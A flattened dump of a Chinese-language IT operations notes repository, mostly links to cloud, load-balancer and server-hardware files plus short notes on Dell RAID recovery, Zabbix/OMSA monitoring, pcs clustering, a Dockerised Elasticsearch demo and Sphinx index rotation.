https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/ZStack/PD3004-ZStack私有云实践指南-1.10.0.pdf -------------------------------------------------------------------------------- /IAAS/cloudServer/ZStack/ST2001-OCFS2共享存储实践指南-iSCSI存储-1.10.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/ZStack/ST2001-OCFS2共享存储实践指南-iSCSI存储-1.10.pdf -------------------------------------------------------------------------------- /IAAS/cloudServer/ZStack/zstack-management-l2-public-l2-merged-local-stroage.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/ZStack/zstack-management-l2-public-l2-merged-local-stroage.png -------------------------------------------------------------------------------- /IAAS/cloudServer/ZStack/zstack-management-l2-public-l2-seperated-ceph.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/ZStack/zstack-management-l2-public-l2-seperated-ceph.png -------------------------------------------------------------------------------- /IAAS/cloudServer/ZStack/zstack-management-l2-public-l2-seperated-local-stroage.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/ZStack/zstack-management-l2-public-l2-seperated-local-stroage.png -------------------------------------------------------------------------------- /IAAS/cloudServer/ZStack/zstack-management-l2-public-l2-seperated-nas.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/ZStack/zstack-management-l2-public-l2-seperated-nas.png -------------------------------------------------------------------------------- /IAAS/cloudServer/ZStack/zstack-management-l2-public-l2-seperated.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/ZStack/zstack-management-l2-public-l2-seperated.png -------------------------------------------------------------------------------- /IAAS/cloudServer/ZStack/zstack-浅谈私有云环境该如何进行网络规划.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/ZStack/zstack-浅谈私有云环境该如何进行网络规划.docx -------------------------------------------------------------------------------- /IAAS/cloudServer/ZStack/zstack_sp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/ZStack/zstack_sp.png -------------------------------------------------------------------------------- /IAAS/cloudServer/aliyun/ECS在传统架构中的对应图.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/aliyun/ECS在传统架构中的对应图.jpg -------------------------------------------------------------------------------- /IAAS/cloudServer/aliyun/linux云服务器常用操作和命令.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/aliyun/linux云服务器常用操作和命令.docx -------------------------------------------------------------------------------- /IAAS/cloudServer/aliyun/linux云服务器数据盘分区和格式化.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/aliyun/linux云服务器数据盘分区和格式化.docx -------------------------------------------------------------------------------- /IAAS/cloudServer/aliyun/实例资源规格对照表.xlsx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/aliyun/实例资源规格对照表.xlsx -------------------------------------------------------------------------------- /IAAS/cloudServer/aliyun/应该如何使用阿里云_rippletek.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/aliyun/应该如何使用阿里云_rippletek.docx -------------------------------------------------------------------------------- /IAAS/cloudServer/aliyun/服务分类.txt: -------------------------------------------------------------------------------- 1 | 【弹性计算】 2 | 云服务器 ECS 3 | 负载均衡 SLB 4 | 弹性伸缩服务ESS 5 | 专有网络VPC 6 | 7 | 8 | 【数据库】 9 | 云数据库 RDS 10 | 开放结构化数据服务 OTS 11 | 开放缓存服务 OCS 12 | 键值存储 KVStore 13 | 14 | 15 | 【存储与CDN】 16 | 开放存储服务 OSS 17 | 开放归档服务 OAS 18 | 消息通知服务 MNS 19 | 内容分发网络 CDN 20 | 21 | 22 | 【云盾(安全)】 23 | DDoS高防IP 24 | DDoS专家服务 25 | 安骑士云托管服务 26 | 渗透测试服务 27 | 云监控 28 | DDos防护 29 | 弱点分析 30 | 应用防火墙 31 | 安骑士 32 | 阿里绿网 33 | 34 | 35 | 【大规模计算与分析】 36 | 开放数据处理服务 ODPS 37 | 采云间 DPC 38 | 分析数据库服务 ADS 39 | 云道 CDP 40 | 批量计算服务 41 | 42 | 43 | 【中间件与应用服务】 44 | 分布式关系型数据库服务 45 | 开放消息服务 ONS 46 | 企业级分布式应用服务 EDAS 47 | 云引擎 ACE 48 | 简单日志服务 SLS 49 | 开放搜索服务 50 | 性能测试服务 PTS 51 | 多媒体转码服务 MTS 52 | 53 | 54 | -------------------------------------------------------------------------------- /IAAS/cloudServer/aliyun/腾讯云的经验.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/aliyun/腾讯云的经验.txt -------------------------------------------------------------------------------- /IAAS/cloudServer/dell/OME/OME_01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/dell/OME/OME_01.png -------------------------------------------------------------------------------- /IAAS/cloudServer/dell/dell服务器硬盘的状态变成外来(foreign).txt: -------------------------------------------------------------------------------- 1 | dell服务器硬盘的状态变成外来(foreign) 2 | 3 | 一、dell服务器移除RAID5中1块硬盘后再插上去,硬盘的状态变成外来(foreign),如何恢复成就绪的状态? 4 | 5 | 重启服务器,注意引导信息提示 RAID控制器 相关信息时,会发现这样提示: 6 | 7 | Foreign configuration(s) found on adapter 8 | Press any key continue or 'C' load the configuration utility, or 'F' to import Foreign configuration(s) and continue” 9 | 10 | 11 | 按“C”进入配置工具或者按“F”直接导入 Foreign configuration(s) 然后继续引导。 12 | 13 | 14 | 15 | 16 | ZYXW、参考 17 | 1、RAID阵列的迁移 18 | http://zh.community.dell.com/techcenter/systems-management/w/wiki/397.raid -------------------------------------------------------------------------------- /IAAS/cloudServer/dell/img_dell服务器硬盘的状态变成外来(foreign)/foreign_a01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/dell/img_dell服务器硬盘的状态变成外来(foreign)/foreign_a01.png -------------------------------------------------------------------------------- /IAAS/cloudServer/dell/img_dell服务器硬盘的状态变成外来(foreign)/foreign_a02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/dell/img_dell服务器硬盘的状态变成外来(foreign)/foreign_a02.png -------------------------------------------------------------------------------- /IAAS/cloudServer/dell/img_dell服务器硬盘的状态变成外来(foreign)/foreign_a03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/dell/img_dell服务器硬盘的状态变成外来(foreign)/foreign_a03.png -------------------------------------------------------------------------------- /IAAS/cloudServer/dell/img_dell服务器硬盘的状态变成外来(foreign)/foreign_b01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/dell/img_dell服务器硬盘的状态变成外来(foreign)/foreign_b01.png -------------------------------------------------------------------------------- /IAAS/cloudServer/dell/img_dell服务器硬盘的状态变成外来(foreign)/foreign_b02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/dell/img_dell服务器硬盘的状态变成外来(foreign)/foreign_b02.png -------------------------------------------------------------------------------- /IAAS/cloudServer/dell/img_配置dell的idrac7通过email发送报警/alert_a01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/dell/img_配置dell的idrac7通过email发送报警/alert_a01.png -------------------------------------------------------------------------------- /IAAS/cloudServer/dell/img_配置dell的idrac7通过email发送报警/alert_a02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/dell/img_配置dell的idrac7通过email发送报警/alert_a02.png -------------------------------------------------------------------------------- /IAAS/cloudServer/dell/img_配置dell的idrac7通过email发送报警/alert_b01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/dell/img_配置dell的idrac7通过email发送报警/alert_b01.png -------------------------------------------------------------------------------- /IAAS/cloudServer/dell/img_配置dell的idrac7通过email发送报警/alert_b02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/dell/img_配置dell的idrac7通过email发送报警/alert_b02.png -------------------------------------------------------------------------------- /IAAS/cloudServer/dell/img_配置dell的idrac7通过email发送报警/alert_b03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/dell/img_配置dell的idrac7通过email发送报警/alert_b03.png -------------------------------------------------------------------------------- /IAAS/cloudServer/dell/img_配置dell的idrac7通过email发送报警/alert_b04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/dell/img_配置dell的idrac7通过email发送报警/alert_b04.png -------------------------------------------------------------------------------- /IAAS/cloudServer/dell/img_配置dell的idrac7通过email发送报警/alert_c01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/dell/img_配置dell的idrac7通过email发送报警/alert_c01.png -------------------------------------------------------------------------------- /IAAS/cloudServer/dell/img_配置dell的idrac7通过email发送报警/alert_c02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/dell/img_配置dell的idrac7通过email发送报警/alert_c02.png -------------------------------------------------------------------------------- /IAAS/cloudServer/dell/img_配置dell的idrac7通过email发送报警/alert_c03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/dell/img_配置dell的idrac7通过email发送报警/alert_c03.png -------------------------------------------------------------------------------- /IAAS/cloudServer/dell/img_配置dell的idrac7通过email发送报警/idrac_email_01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/dell/img_配置dell的idrac7通过email发送报警/idrac_email_01.png -------------------------------------------------------------------------------- /IAAS/cloudServer/dell/img_配置dell的idrac7通过email发送报警/idrac_email_02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/dell/img_配置dell的idrac7通过email发送报警/idrac_email_02.png -------------------------------------------------------------------------------- /IAAS/cloudServer/dell/img_配置dell的idrac7通过email发送报警/idrac_email_03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/dell/img_配置dell的idrac7通过email发送报警/idrac_email_03.png -------------------------------------------------------------------------------- /IAAS/cloudServer/dell/img_配置dell的idrac7通过email发送报警/idrac_email_04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/dell/img_配置dell的idrac7通过email发送报警/idrac_email_04.png -------------------------------------------------------------------------------- /IAAS/cloudServer/dell/通过dell的命令行工具OMSA来监控服务器硬件/batteries.txt: -------------------------------------------------------------------------------- 1 | 对应的zabbix配置: 2 | UserParameter=hardware_battery,omreport chassis batteries|awk '/^Status/{if($NF=="Ok") {print 1} else {print 0}}' 3 | 4 | 5 | 涉及的命令: 6 | [root@local ~]# omreport chassis batteries 7 | 8 | Batteries 9 | 10 | Health : Ok 11 | 12 | Individual Battery Elements 13 | Index : 0 14 | Status : Ok 15 | Probe Name : System Board CMOS Battery 16 | Reading : Good -------------------------------------------------------------------------------- /IAAS/cloudServer/oVirt/img_测试2个节点的ovirt和glusterfs集群的可用性/1事件-host1被强制重启后vm开始迁移.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/oVirt/img_测试2个节点的ovirt和glusterfs集群的可用性/1事件-host1被强制重启后vm开始迁移.png -------------------------------------------------------------------------------- /IAAS/cloudServer/oVirt/img_测试2个节点的ovirt和glusterfs集群的可用性/2事件-host1的电源管理禁用后,模拟网卡down掉.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/oVirt/img_测试2个节点的ovirt和glusterfs集群的可用性/2事件-host1的电源管理禁用后,模拟网卡down掉.png -------------------------------------------------------------------------------- /IAAS/cloudServer/oVirt/img_测试2个节点的ovirt和glusterfs集群的可用性/3虚拟机-在host1上运行的虚拟机的状态.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/oVirt/img_测试2个节点的ovirt和glusterfs集群的可用性/3虚拟机-在host1上运行的虚拟机的状态.png -------------------------------------------------------------------------------- /IAAS/cloudServer/oVirt/img_测试2个节点的ovirt和glusterfs集群的可用性/4主机-主机n33的状态,已经下线,计划手动确认主机已经重启.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/oVirt/img_测试2个节点的ovirt和glusterfs集群的可用性/4主机-主机n33的状态,已经下线,计划手动确认主机已经重启.png -------------------------------------------------------------------------------- /IAAS/cloudServer/oVirt/img_测试2个节点的ovirt和glusterfs集群的可用性/5主机-手动确认主机已经重启时的提示.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/oVirt/img_测试2个节点的ovirt和glusterfs集群的可用性/5主机-手动确认主机已经重启时的提示.png -------------------------------------------------------------------------------- /IAAS/cloudServer/oVirt/img_测试2个节点的ovirt和glusterfs集群的可用性/6虚拟机-在host1上运行的虚拟机已经迁移到n34上.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/oVirt/img_测试2个节点的ovirt和glusterfs集群的可用性/6虚拟机-在host1上运行的虚拟机已经迁移到n34上.png -------------------------------------------------------------------------------- /IAAS/cloudServer/oVirt/img_测试2个节点的ovirt和glusterfs集群的可用性/7事件-虚拟机已经迁移到n34上.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/cloudServer/oVirt/img_测试2个节点的ovirt和glusterfs集群的可用性/7事件-虚拟机已经迁移到n34上.png -------------------------------------------------------------------------------- /IAAS/loadBalancer/LVS/lvs_01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/LVS/lvs_01.png -------------------------------------------------------------------------------- /IAAS/loadBalancer/LVS/lvs_02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/LVS/lvs_02.png -------------------------------------------------------------------------------- /IAAS/loadBalancer/LVS/lvs_03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/LVS/lvs_03.png -------------------------------------------------------------------------------- /IAAS/loadBalancer/LVS/lvs_04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/LVS/lvs_04.png -------------------------------------------------------------------------------- /IAAS/loadBalancer/LVS/lvs_05.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/LVS/lvs_05.png -------------------------------------------------------------------------------- /IAAS/loadBalancer/LVS/lvs_06.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/LVS/lvs_06.png -------------------------------------------------------------------------------- /IAAS/loadBalancer/LVS/lvs_07.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/LVS/lvs_07.png -------------------------------------------------------------------------------- /IAAS/loadBalancer/LVS/lvs_08.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/LVS/lvs_08.png -------------------------------------------------------------------------------- /IAAS/loadBalancer/LVS/lvs_09.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/LVS/lvs_09.png -------------------------------------------------------------------------------- /IAAS/loadBalancer/LVS/lvs_10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/LVS/lvs_10.png -------------------------------------------------------------------------------- /IAAS/loadBalancer/LVS/lvs_11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/LVS/lvs_11.png -------------------------------------------------------------------------------- /IAAS/loadBalancer/LVS/lvs_12.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/LVS/lvs_12.png -------------------------------------------------------------------------------- /IAAS/loadBalancer/LVS/lvs_13.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/LVS/lvs_13.png -------------------------------------------------------------------------------- /IAAS/loadBalancer/LVS/lvs_14.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/LVS/lvs_14.png -------------------------------------------------------------------------------- /IAAS/loadBalancer/LVS/lvs_15.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/LVS/lvs_15.png -------------------------------------------------------------------------------- /IAAS/loadBalancer/LVS/lvs_16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/LVS/lvs_16.png -------------------------------------------------------------------------------- /IAAS/loadBalancer/LVS/lvs_ospf_noops.me.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/LVS/lvs_ospf_noops.me.png -------------------------------------------------------------------------------- /IAAS/loadBalancer/LVS/lvs_ospf_tunnel.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/LVS/lvs_ospf_tunnel.png -------------------------------------------------------------------------------- /IAAS/loadBalancer/LVS/lvs_xiaomi_01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/LVS/lvs_xiaomi_01.png -------------------------------------------------------------------------------- /IAAS/loadBalancer/LVS/lvs_xiaomi_02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/LVS/lvs_xiaomi_02.png -------------------------------------------------------------------------------- /IAAS/loadBalancer/LVS/lvs_xiaomi_03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/LVS/lvs_xiaomi_03.png -------------------------------------------------------------------------------- /IAAS/loadBalancer/LVS/lvs_xiaomi_04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/LVS/lvs_xiaomi_04.png -------------------------------------------------------------------------------- /IAAS/loadBalancer/LVS/lvs_xiaomi_05.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/LVS/lvs_xiaomi_05.png -------------------------------------------------------------------------------- /IAAS/loadBalancer/LVS/lvs_xiaomi_06.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/LVS/lvs_xiaomi_06.png -------------------------------------------------------------------------------- /IAAS/loadBalancer/archi/ele.me.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/archi/ele.me.jpg -------------------------------------------------------------------------------- /IAAS/loadBalancer/archi/rpc9-environment-overview.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/archi/rpc9-environment-overview.png -------------------------------------------------------------------------------- /IAAS/loadBalancer/archi/web_liuts.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/archi/web_liuts.png -------------------------------------------------------------------------------- /IAAS/loadBalancer/haproxy/haproxy日志问题.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/haproxy/haproxy日志问题.txt -------------------------------------------------------------------------------- /IAAS/loadBalancer/haproxy/haproxy限制恶意访问的手段示例.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/haproxy/haproxy限制恶意访问的手段示例.txt -------------------------------------------------------------------------------- /IAAS/loadBalancer/keepalived/keepalived配置lvs部分的状态检测.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/keepalived/keepalived配置lvs部分的状态检测.txt -------------------------------------------------------------------------------- /IAAS/loadBalancer/keepalived/再次测试配置keepalived,lvs和realserver.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/keepalived/再次测试配置keepalived,lvs和realserver.txt -------------------------------------------------------------------------------- /IAAS/loadBalancer/keepalived/有关arp_ignore 与arp_announce 参数的设置.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/keepalived/有关arp_ignore 与arp_announce 参数的设置.txt -------------------------------------------------------------------------------- /IAAS/loadBalancer/keepalived/测试keepalived主备模式.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/keepalived/测试keepalived主备模式.txt -------------------------------------------------------------------------------- /IAAS/loadBalancer/keepalived/测试keepalived在DR模式下VIP转发数据到RIP的过程.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/keepalived/测试keepalived在DR模式下VIP转发数据到RIP的过程.txt -------------------------------------------------------------------------------- /IAAS/loadBalancer/keepalived/测试keepalived备备模式.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/keepalived/测试keepalived备备模式.txt -------------------------------------------------------------------------------- /IAAS/loadBalancer/keepalived/测试keepalived备备模式的主从切换过程.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/keepalived/测试keepalived备备模式的主从切换过程.txt -------------------------------------------------------------------------------- /IAAS/loadBalancer/keepalived/测试配置keepalived,lvs和realserver.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/keepalived/测试配置keepalived,lvs和realserver.txt -------------------------------------------------------------------------------- /IAAS/loadBalancer/nginx/nginx查看编译参数.txt: -------------------------------------------------------------------------------- 1 | $ ./nginx -V 2 | nginx version: nginx/1.0.12 3 | built by gcc 4.4.6 20110731 (Red Hat 4.4.6-3) (GCC) 4 | TLS SNI support enabled 5 | configure arguments: --user=daemon --group=daemon --prefix=/usr/local/webserver/nginx --with-http_stub_status_module --with-http_ssl_module -------------------------------------------------------------------------------- /IAAS/loadBalancer/pcs.txt: -------------------------------------------------------------------------------- 1 | pcs 2 | 2016/11/3 3 | 4 | 5 | # pcs cluster setup --local --name cluster_name node1 node2 node3 6 | # pcs cluster start 7 | # pcs status 8 | 9 | ZYXW、参考 10 | 1、、pcs and pcsd 11 | https://www.centos.org/forums/viewtopic.php?t=44201 12 | 2、PCS - Pacemaker/Corosync configuration system 13 | https://github.com/ClusterLabs/pcs 14 | 3、pcs-crmsh-quick-ref 15 | https://github.com/ClusterLabs/pacemaker/blob/master/doc/pcs-crmsh-quick-ref.md -------------------------------------------------------------------------------- /IAAS/loadBalancer/squid/setup-transparent-proxy-squid-howto.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/squid/setup-transparent-proxy-squid-howto.txt -------------------------------------------------------------------------------- /IAAS/loadBalancer/squid/squid配置.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/loadBalancer/squid/squid配置.txt -------------------------------------------------------------------------------- /IAAS/log/ELK/es-run-with-docker.md: -------------------------------------------------------------------------------- 1 | # es run with docker 2 | 3 | 2019/1/17 4 | 5 | 6 | just a demo 7 | 8 | ```bash 9 | sysctl -w vm.max_map_count=262144 10 | 11 | mkdir -p /data/es 12 | chown -R 1000:1000 /data/es 13 | 14 | # es port: 9200 15 | docker run -d \ 16 | --name logs-es \ 17 | -v /etc/localtime:/etc/localtime \ 18 | -v /data/es:/usr/share/elasticsearch/data \ 19 | --cpus "2.0" \ 20 | --memory "2048m" \ 21 | -e "cluster.name=docker-logs-cluster" \ 22 | -e "bootstrap.memory_lock=true" \ 23 | -e "ES_JAVA_OPTS=-Xms512m -Xmx512m" \ 24 | -e "xpack.security.enabled=false" \ 25 | --ulimit memlock=-1:-1 \ 26 | opera443399/elasticsearch:6.5.2 27 | 28 | sleep 1s 29 | docker logs --tail 100 --since 5m -f logs-es 30 | 31 | ``` 32 | -------------------------------------------------------------------------------- /IAAS/log/coreseek/sphinx.txt: -------------------------------------------------------------------------------- 1 | 关于sphinx的无缝切换,可以在配置文件中指定。 2 | 3 | sphinx的searchd在启动时会创建一个 .spl 锁文件,并在关闭时会删除它。在indexer创建索引时如果发现有 .spl文件,则不会创建新索引,因为这时已经标志sphinx正在运行中,除非使用 –rotate。 4 | 5 | roate运行机制 6 | 7 | ->indexer完成索引 8 | ->发送SIGHUP 给searchd(同时在终端输出索引已经完成) 9 | ->searchd接到中断信号->等待所有子进程退出 10 | ->重命名 当前索引为旧索引为 .old 11 | ->重命名 .new 索引文件作为当前索引 12 | ->尝试加载当前索引文件->如果加载失败,searchd会把.old文件回滚为当前文件,并把刚建立的新索引重命名为 .new 13 | ->加载成的话:完成无缝衔接 -------------------------------------------------------------------------------- /IAAS/log/coreseek/sphinx文章.txt: -------------------------------------------------------------------------------- 1 | http://www.tuicool.com/articles/mYfu6f 2 | http://jsome.net/blog/2010/07/02/notes-on-sphinxsearch 3 | http://sphinxsearch.com/bugs/view.php?id=742 -------------------------------------------------------------------------------- 